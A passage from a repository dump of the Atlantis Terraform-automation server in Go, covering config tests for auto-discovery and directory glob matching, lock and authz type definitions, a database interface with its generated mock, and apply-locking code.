TestConfig_AutoDiscoverEnabled(t *testing.T) {\n\tcases := []struct {\n\t\tdescription         string\n\t\trepoAutoDiscover    valid.AutoDiscoverMode\n\t\tdefaultAutoDiscover valid.AutoDiscoverMode\n\t\tprojects            []valid.Project\n\t\texpEnabled          bool\n\t}{\n\t\t{\n\t\t\tdescription:         \"repo disabled autodiscover default enabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverDisabledMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverEnabledMode,\n\t\t\texpEnabled:          false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo disabled autodiscover default disabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverDisabledMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverDisabledMode,\n\t\t\texpEnabled:          false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo enabled autodiscover default enabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverEnabledMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverEnabledMode,\n\t\t\texpEnabled:          true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo enabled autodiscover default disabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverEnabledMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverDisabledMode,\n\t\t\texpEnabled:          true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo set auto autodiscover with no projects default enabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverAutoMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverEnabledMode,\n\t\t\texpEnabled:          true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo set auto autodiscover with no projects default disabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverAutoMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverDisabledMode,\n\t\t\texpEnabled:          true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo set auto autodiscover with a project default enabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverAutoMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverEnabledMode,\n\t\t\tprojects:            []valid.Project{{}},\n\t\t\texpEnabled:          false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo set auto autodiscover with a project default disabled\",\n\t\t\trepoAutoDiscover:    valid.AutoDiscoverAutoMode,\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverDisabledMode,\n\t\t\tprojects:            []valid.Project{{}},\n\t\t\texpEnabled:          false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo unset autodiscover with no projects default enabled\",\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverEnabledMode,\n\t\t\texpEnabled:          true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo unset autodiscover with no projects default disabled\",\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverDisabledMode,\n\t\t\texpEnabled:          false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo unset autodiscover with no projects default auto\",\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverAutoMode,\n\t\t\texpEnabled:          true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo unset autodiscover with a project default enabled\",\n\t\t\tprojects:            []valid.Project{{}},\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverEnabledMode,\n\t\t\texpEnabled:          true,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo unset autodiscover with a project default disabled\",\n\t\t\tprojects:            []valid.Project{{}},\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverDisabledMode,\n\t\t\texpEnabled:          false,\n\t\t},\n\t\t{\n\t\t\tdescription:         \"repo unset autodiscover with a project default auto\",\n\t\t\tprojects:            []valid.Project{{}},\n\t\t\tdefaultAutoDiscover: valid.AutoDiscoverAutoMode,\n\t\t\texpEnabled:          false,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tr := valid.RepoCfg{\n\t\t\t\tProjects:     c.projects,\n\t\t\t\tAutoDiscover: nil,\n\t\t\t}\n\t\t\tif c.repoAutoDiscover != \"\" {\n\t\t\t\tr.AutoDiscover = &valid.AutoDiscover{\n\t\t\t\t\tMode: c.repoAutoDiscover,\n\t\t\t\t}\n\t\t\t}\n\t\t\tenabled := r.AutoDiscoverEnabled(c.defaultAutoDiscover)\n\t\t\tEquals(t, c.expEnabled, enabled)\n\t\t})\n\t}\n}\n\nfunc TestConfig_FindProjectsByDirPattern(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tpattern     string\n\t\tprojects    []valid.Project\n\t\texpProjects []valid.Project\n\t}{\n\t\t{\n\t\t\tdescription: \"simple wildcard matches multiple projects\",\n\t\t\tpattern:     \"modules/*\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"modules/rds\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"apps/api\", Workspace: \"default\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"modules/rds\", Workspace: \"default\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"double star matches nested directories\",\n\t\t\tpattern:     \"environments/**\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"environments/prod/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"environments/staging/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"environments/dev\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"default\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{Dir: \"environments/prod/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"environments/staging/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"environments/dev\", Workspace: \"default\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"question mark matches single character\",\n\t\t\tpattern:     \"env?/*\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"env1/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"env2/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"envX/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"environment/app\", Workspace: \"default\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{Dir: \"env1/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"env2/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"envX/app\", Workspace: \"default\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"character class matches specific characters\",\n\t\t\tpattern:     \"env[0-9]/*\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"env1/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"env2/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"envX/app\", Workspace: \"default\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{Dir: \"env1/app\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"env2/app\", Workspace: \"default\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"no matches returns empty slice\",\n\t\t\tpattern:     \"nonexistent/*\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"default\"},\n\t\t\t},\n\t\t\texpProjects: nil,\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tr := valid.RepoCfg{\n\t\t\t\tProjects: c.projects,\n\t\t\t}\n\t\t\tprojects := r.FindProjectsByDirPattern(c.pattern)\n\t\t\tEquals(t, c.expProjects, projects)\n\t\t})\n\t}\n}\n\nfunc TestConfig_FindProjectsByDirPatternWorkspace(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tpattern     string\n\t\tworkspace   string\n\t\tprojects    []valid.Project\n\t\texpProjects []valid.Project\n\t}{\n\t\t{\n\t\t\tdescription: \"matches pattern and workspace\",\n\t\t\tpattern:     \"modules/*\",\n\t\t\tworkspace:   \"default\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"staging\"},\n\t\t\t\t{Dir: \"modules/rds\", Workspace: \"default\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"modules/rds\", Workspace: \"default\"},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tdescription: \"workspace filter excludes non-matching\",\n\t\t\tpattern:     \"modules/*\",\n\t\t\tworkspace:   \"production\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"default\"},\n\t\t\t\t{Dir: \"modules/vpc\", Workspace: \"staging\"},\n\t\t\t},\n\t\t\texpProjects: nil,\n\t\t},\n\t\t{\n\t\t\tdescription: \"double star with workspace filter\",\n\t\t\tpattern:     \"environments/**\",\n\t\t\tworkspace:   \"staging\",\n\t\t\tprojects: []valid.Project{\n\t\t\t\t{Dir: \"environments/us-east/app\", Workspace: \"staging\"},\n\t\t\t\t{Dir: \"environments/us-west/app\", Workspace: \"production\"},\n\t\t\t\t{Dir: \"environments/eu/app\", Workspace: \"staging\"},\n\t\t\t},\n\t\t\texpProjects: []valid.Project{\n\t\t\t\t{Dir: \"environments/us-east/app\", Workspace: \"staging\"},\n\t\t\t\t{Dir: \"environments/eu/app\", Workspace: \"staging\"},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tr := valid.RepoCfg{\n\t\t\t\tProjects: c.projects,\n\t\t\t}\n\t\t\tprojects := r.FindProjectsByDirPatternWorkspace(c.pattern, c.workspace)\n\t\t\tEquals(t, c.expProjects, projects)\n\t\t})\n\t}\n}\n\nfunc TestContainsDirGlobPattern(t *testing.T) {\n\tcases := []struct {\n\t\tinput    string\n\t\texpected bool\n\t}{\n\t\t{\"modules/*\", true},\n\t\t{\"modules/**\", true},\n\t\t{\"env?/app\", true},\n\t\t{\"env[0-9]/app\", true},\n\t\t{\"modules/vpc\", false},\n\t\t{\".\", false},\n\t\t{\"path/to/dir\", false},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.input, func(t *testing.T) {\n\t\t\tresult := valid.ContainsDirGlobPattern(c.input)\n\t\t\tEquals(t, c.expected, result)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/config/valid/repo_locks.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid\n\n// RepoLocksMode enum\ntype RepoLocksMode string\n\nvar DefaultRepoLocksMode = RepoLocksOnPlanMode\nvar DefaultRepoLocks = RepoLocks{\n\tMode: DefaultRepoLocksMode,\n}\n\nconst (\n\tRepoLocksDisabledMode RepoLocksMode = \"disabled\"\n\tRepoLocksOnPlanMode   RepoLocksMode = \"on_plan\"\n\tRepoLocksOnApplyMode  RepoLocksMode = \"on_apply\"\n)\n\ntype RepoLocks struct {\n\tMode RepoLocksMode\n}\n"
  },
  {
    "path": "server/core/config/valid/team_authz.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage valid\n\ntype TeamAuthz struct {\n\tCommand string   `yaml:\"command\" json:\"command\"`\n\tArgs    []string `yaml:\"args\" json:\"args\"`\n}\n"
  },
  {
    "path": "server/core/config/valid/valid.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package valid contains definitions of valid yaml configuration after its\n// been parsed and validated.\npackage valid\n\nconst DefaultAutoPlanEnabled = true\n"
  },
  {
    "path": "server/core/db/db.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package db defines the database interface for Atlantis.\npackage db\n\nimport (\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n//go:generate mockgen -package mocks -destination mocks/mock_database.go . Database\n\n// Database is an implementation of the database API we require.\ntype Database interface {\n\tTryLock(lock models.ProjectLock) (bool, models.ProjectLock, error)\n\tUnlock(project models.Project, workspace string) (*models.ProjectLock, error)\n\tList() ([]models.ProjectLock, error)\n\tGetLock(project models.Project, workspace string) (*models.ProjectLock, error)\n\tUnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error)\n\tUpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error\n\tGetPullStatus(pull models.PullRequest) (*models.PullStatus, error)\n\tDeletePullStatus(pull models.PullRequest) error\n\tUpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error)\n\n\tLockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error)\n\tUnlockCommand(cmdName command.Name) error\n\tCheckCommandLock(cmdName command.Name) (*command.Lock, error)\n\n\tClose() error\n}\n"
  },
  {
    "path": "server/core/db/mocks/mock_database.go",
    "content": "// Code generated by MockGen. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/db (interfaces: Database)\n//\n// Generated by this command:\n//\n//\tmockgen -package mocks -destination mocks/mock_database.go . Database\n//\n\n// Package mocks is a generated GoMock package.\npackage mocks\n\nimport (\n\treflect \"reflect\"\n\ttime \"time\"\n\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tgomock \"go.uber.org/mock/gomock\"\n)\n\n// MockDatabase is a mock of Database interface.\ntype MockDatabase struct {\n\tctrl     *gomock.Controller\n\trecorder *MockDatabaseMockRecorder\n\tisgomock struct{}\n}\n\n// MockDatabaseMockRecorder is the mock recorder for MockDatabase.\ntype MockDatabaseMockRecorder struct {\n\tmock *MockDatabase\n}\n\n// NewMockDatabase creates a new mock instance.\nfunc NewMockDatabase(ctrl *gomock.Controller) *MockDatabase {\n\tmock := &MockDatabase{ctrl: ctrl}\n\tmock.recorder = &MockDatabaseMockRecorder{mock}\n\treturn mock\n}\n\n// EXPECT returns an object that allows the caller to indicate expected use.\nfunc (m *MockDatabase) EXPECT() *MockDatabaseMockRecorder {\n\treturn m.recorder\n}\n\n// CheckCommandLock mocks base method.\nfunc (m *MockDatabase) CheckCommandLock(cmdName command.Name) (*command.Lock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CheckCommandLock\", cmdName)\n\tret0, _ := ret[0].(*command.Lock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// CheckCommandLock indicates an expected call of CheckCommandLock.\nfunc (mr *MockDatabaseMockRecorder) CheckCommandLock(cmdName any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CheckCommandLock\", reflect.TypeOf((*MockDatabase)(nil).CheckCommandLock), cmdName)\n}\n\n// Close mocks base method.\nfunc (m *MockDatabase) Close() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Close\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}\n\n// Close indicates an expected call of Close.\nfunc (mr *MockDatabaseMockRecorder) Close() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Close\", reflect.TypeOf((*MockDatabase)(nil).Close))\n}\n\n// DeletePullStatus mocks base method.\nfunc (m *MockDatabase) DeletePullStatus(pull models.PullRequest) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DeletePullStatus\", pull)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}\n\n// DeletePullStatus indicates an expected call of DeletePullStatus.\nfunc (mr *MockDatabaseMockRecorder) DeletePullStatus(pull any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DeletePullStatus\", reflect.TypeOf((*MockDatabase)(nil).DeletePullStatus), pull)\n}\n\n// GetLock mocks base method.\nfunc (m *MockDatabase) GetLock(project models.Project, workspace string) (*models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetLock\", project, workspace)\n\tret0, _ := ret[0].(*models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// GetLock indicates an expected call of GetLock.\nfunc (mr *MockDatabaseMockRecorder) GetLock(project, workspace any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetLock\", reflect.TypeOf((*MockDatabase)(nil).GetLock), project, workspace)\n}\n\n// GetPullStatus mocks base method.\nfunc (m *MockDatabase) GetPullStatus(pull models.PullRequest) (*models.PullStatus, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPullStatus\", pull)\n\tret0, _ := ret[0].(*models.PullStatus)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// GetPullStatus indicates an expected call of GetPullStatus.\nfunc (mr *MockDatabaseMockRecorder) GetPullStatus(pull any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPullStatus\", reflect.TypeOf((*MockDatabase)(nil).GetPullStatus), pull)\n}\n\n// List mocks base method.\nfunc (m *MockDatabase) List() ([]models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"List\")\n\tret0, _ := ret[0].([]models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// List indicates an expected call of List.\nfunc (mr *MockDatabaseMockRecorder) List() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"List\", reflect.TypeOf((*MockDatabase)(nil).List))\n}\n\n// LockCommand mocks base method.\nfunc (m *MockDatabase) LockCommand(cmdName command.Name, lockTime time.Time) (*command.Lock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"LockCommand\", cmdName, lockTime)\n\tret0, _ := ret[0].(*command.Lock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// LockCommand indicates an expected call of LockCommand.\nfunc (mr *MockDatabaseMockRecorder) LockCommand(cmdName, lockTime any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"LockCommand\", reflect.TypeOf((*MockDatabase)(nil).LockCommand), cmdName, lockTime)\n}\n\n// TryLock mocks base method.\nfunc (m *MockDatabase) TryLock(lock models.ProjectLock) (bool, models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"TryLock\", lock)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].(models.ProjectLock)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}\n\n// TryLock indicates an expected call of TryLock.\nfunc (mr *MockDatabaseMockRecorder) TryLock(lock any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"TryLock\", reflect.TypeOf((*MockDatabase)(nil).TryLock), lock)\n}\n\n// Unlock mocks base method.\nfunc (m *MockDatabase) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Unlock\", project, workspace)\n\tret0, _ := ret[0].(*models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// Unlock indicates an expected call of Unlock.\nfunc (mr *MockDatabaseMockRecorder) Unlock(project, workspace any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Unlock\", reflect.TypeOf((*MockDatabase)(nil).Unlock), project, workspace)\n}\n\n// UnlockByPull mocks base method.\nfunc (m *MockDatabase) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UnlockByPull\", repoFullName, pullNum)\n\tret0, _ := ret[0].([]models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// UnlockByPull indicates an expected call of UnlockByPull.\nfunc (mr *MockDatabaseMockRecorder) UnlockByPull(repoFullName, pullNum any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UnlockByPull\", reflect.TypeOf((*MockDatabase)(nil).UnlockByPull), repoFullName, pullNum)\n}\n\n// UnlockCommand mocks base method.\nfunc (m *MockDatabase) UnlockCommand(cmdName command.Name) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UnlockCommand\", cmdName)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}\n\n// UnlockCommand indicates an expected call of UnlockCommand.\nfunc (mr *MockDatabaseMockRecorder) UnlockCommand(cmdName any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UnlockCommand\", reflect.TypeOf((*MockDatabase)(nil).UnlockCommand), cmdName)\n}\n\n// UpdateProjectStatus mocks base method.\nfunc (m *MockDatabase) UpdateProjectStatus(pull models.PullRequest, workspace, repoRelDir string, newStatus models.ProjectPlanStatus) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateProjectStatus\", pull, workspace, repoRelDir, newStatus)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}\n\n// UpdateProjectStatus indicates an expected call of UpdateProjectStatus.\nfunc (mr *MockDatabaseMockRecorder) UpdateProjectStatus(pull, workspace, repoRelDir, newStatus any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateProjectStatus\", reflect.TypeOf((*MockDatabase)(nil).UpdateProjectStatus), pull, workspace, repoRelDir, newStatus)\n}\n\n// UpdatePullWithResults mocks base method.\nfunc (m *MockDatabase) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdatePullWithResults\", pull, newResults)\n\tret0, _ := ret[0].(models.PullStatus)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// UpdatePullWithResults indicates an expected call of UpdatePullWithResults.\nfunc (mr *MockDatabaseMockRecorder) UpdatePullWithResults(pull, newResults any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatePullWithResults\", reflect.TypeOf((*MockDatabase)(nil).UpdatePullWithResults), pull, newResults)\n}\n"
  },
  {
    "path": "server/core/locking/apply_locking.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage locking\n\nimport (\n\t\"errors\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n//go:generate mockgen -package mocks -destination mocks/mock_apply_lock_checker.go . ApplyLockChecker\n\n// ApplyLockChecker is an implementation of the global apply lock retrieval.\n// It returns an object that contains information about apply locks status.\ntype ApplyLockChecker interface {\n\tCheckApplyLock() (ApplyCommandLock, error)\n}\n\n//go:generate mockgen -package mocks -destination mocks/mock_apply_locker.go . ApplyLocker\n\n// ApplyLocker interface that manages locks for apply command runner\ntype ApplyLocker interface {\n\t// LockApply creates a lock for ApplyCommand if lock already exists it will\n\t// return existing lock without any changes\n\tLockApply() (ApplyCommandLock, error)\n\t// UnlockApply deletes apply lock created by LockApply if present, otherwise\n\t// it is a no-op\n\tUnlockApply() error\n\tApplyLockChecker\n}\n\n// ApplyCommandLock contains information about apply command lock status.\ntype ApplyCommandLock struct {\n\t// Locked is true is when apply commands are locked\n\t// Either by using omitting apply from AllowCommands or creating a global ApplyCommandLock\n\t// DisableApply lock take precedence when set\n\tLocked                 bool\n\tGlobalApplyLockEnabled bool\n\tTime                   time.Time\n\tFailure                string\n}\n\ntype ApplyClient struct {\n\tdatabase               db.Database\n\tdisableApply           bool\n\tdisableGlobalApplyLock bool\n}\n\nfunc NewApplyClient(database db.Database, disableApply bool, disableGlobalApplyLock bool) ApplyLocker {\n\treturn &ApplyClient{\n\t\tdatabase:               database,\n\t\tdisableApply:           disableApply,\n\t\tdisableGlobalApplyLock: disableGlobalApplyLock,\n\t}\n}\n\n// LockApply acquires global apply lock.\n// DisableApply takes precedence to any existing locks, if it is set to true\n// this function returns an error\nfunc (c *ApplyClient) LockApply() (ApplyCommandLock, error) {\n\tresponse := ApplyCommandLock{}\n\n\tif c.disableApply {\n\t\treturn response, errors.New(\"apply is omitted from AllowCommands; Apply commands are locked globally until flag is updated\")\n\t}\n\n\tapplyCmdLock, err := c.database.LockCommand(command.Apply, time.Now())\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\tif applyCmdLock != nil {\n\t\tresponse.Locked = true\n\t\tresponse.Time = applyCmdLock.LockTime()\n\t}\n\treturn response, nil\n}\n\n// UnlockApply releases a global apply lock.\n// DisableApply takes precedence to any existing locks, if it is set to true\n// this function returns an error\nfunc (c *ApplyClient) UnlockApply() error {\n\tif c.disableApply {\n\t\treturn errors.New(\"apply commands are disabled until AllowCommands flag is updated\")\n\t}\n\n\terr := c.database.UnlockCommand(command.Apply)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// CheckApplyLock retrieves an apply command lock if present.\n// If DisableApply is set it will always return a lock.\nfunc (c *ApplyClient) CheckApplyLock() (ApplyCommandLock, error) {\n\tresponse := ApplyCommandLock{\n\t\tGlobalApplyLockEnabled: true,\n\t}\n\n\tif c.disableApply {\n\t\treturn ApplyCommandLock{\n\t\t\tLocked: true,\n\t\t}, nil\n\t}\n\n\tapplyCmdLock, err := c.database.CheckCommandLock(command.Apply)\n\tif err != nil {\n\t\treturn response, err\n\t}\n\n\tif applyCmdLock != nil {\n\t\tresponse.Locked = true\n\t\tresponse.Time = applyCmdLock.LockTime()\n\t}\n\tif c.disableGlobalApplyLock {\n\t\tresponse.GlobalApplyLockEnabled = false\n\t}\n\n\treturn response, nil\n}\n"
  },
  {
    "path": "server/core/locking/locking.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//\thttp://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n//\n// Package locking handles locking projects when they have in-progress runs.\npackage locking\n\nimport (\n\t\"errors\"\n\t\"regexp\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\n// TryLockResponse results from an attempted lock.\ntype TryLockResponse struct {\n\t// LockAcquired is true if the lock was acquired from this call.\n\tLockAcquired bool\n\t// CurrLock is what project is currently holding the lock.\n\tCurrLock models.ProjectLock\n\t// LockKey is an identified by which to lookup and delete this lock.\n\tLockKey string\n}\n\n// Client is used to perform locking actions.\ntype Client struct {\n\tdatabase db.Database\n}\n\n//go:generate mockgen -package mocks -destination mocks/mock_locker.go . Locker\n\ntype Locker interface {\n\tTryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error)\n\tUnlock(key string) (*models.ProjectLock, error)\n\tList() (map[string]models.ProjectLock, error)\n\tUnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error)\n\tGetLock(key string) (*models.ProjectLock, error)\n}\n\n// NewClient returns a new locking client.\nfunc NewClient(database db.Database) *Client {\n\treturn &Client{\n\t\tdatabase: database,\n\t}\n}\n\n// keyRegex matches and captures {repoFullName}/{path}/{workspace}/{projectName} where path can have multiple /'s in it.\nvar keyRegex = regexp.MustCompile(`^(.*?\\/.*?)\\/(.*)\\/(.*)\\/(.*)$`)\n\n// TryLock attempts to acquire a lock to a project and workspace.\nfunc (c *Client) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (TryLockResponse, error) {\n\tlock := models.ProjectLock{\n\t\tWorkspace: workspace,\n\t\tTime:      time.Now().Local(),\n\t\tProject:   p,\n\t\tUser:      user,\n\t\tPull:      pull,\n\t}\n\tlockAcquired, currLock, err := c.database.TryLock(lock)\n\tif err != nil {\n\t\treturn 